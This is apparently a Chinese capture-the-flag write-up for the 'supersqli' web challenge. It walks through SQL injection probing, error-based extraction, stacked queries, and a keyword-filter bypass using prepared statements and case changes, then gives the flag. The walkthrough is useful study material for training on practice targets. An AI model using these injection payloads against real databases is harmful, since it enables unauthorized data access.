攻防世界web进阶区之supersqli

打开题目所给链接:攻防世界web进阶区之supersqli首先我们先探测其有无注入:
1’ 报错
1’# 正常且为True
1’ and 1=1# 正常且为True
1’ and 1=2# 正常且为False
所以它里边存在注入。
用1’ or extractvalue(rand(),concat(0x7e,database())) #爆出数据库名:攻防世界web进阶区之supersqli
用0’; use supersqli; show tables;爆出表明:攻防世界web进阶区之supersqli用0’; use supersqli; show columns from 1919810931114514; #爆出字段名:攻防世界web进阶区之supersqli可知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来我们通过语句1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#来读取此字段的数据攻防世界web进阶区之supersqli这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。所以最后我们通过 1’;Set @sql = CONCAT(‘se’,‘lect * from `1919810931114514;’);Prepare stmt from @sql;EXECUTE stmt;# 即可查到flag。攻防世界web进阶区之supersqliflag{c168d583ed0d4d7196967b28cbd0b5e9}